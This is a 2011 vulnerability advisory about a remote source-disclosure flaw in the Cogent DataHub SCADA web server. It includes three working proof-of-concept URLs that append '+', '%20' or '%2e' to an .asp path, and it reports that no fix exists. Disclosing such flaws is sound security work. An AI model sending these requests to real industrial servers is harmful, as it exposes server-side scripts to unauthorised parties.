#######################################################################
Luigi Auriemma
Application: Cogent DataHub
http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions: <= 7.1.1.63
Platforms: Windows
Bug: source disclosure
Exploitation: remote
Date: 13 Sep 2011
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
DataHub is a software for the SCADA and automation sector.
#######################################################################
======
2) Bug
======
The server/service listens on port 80 using a custom web server.
Through the appending of the following chars it's possible to view the
content of the server-side scripts on the server:
+
%20
%2e
This vulnerability is useful when the server hosts customized scripts
which seems a feature of the software:
http://www.cogentdatahub.com/Features/DataHub_Web_ASP.html
#######################################################################
===========
3) The Code
===========
http://SERVER/index.asp+
http://SERVER/index.asp%20
http://SERVER/index.asp%2e
#######################################################################
======
4) Fix
======
No fix.
#######################################################################
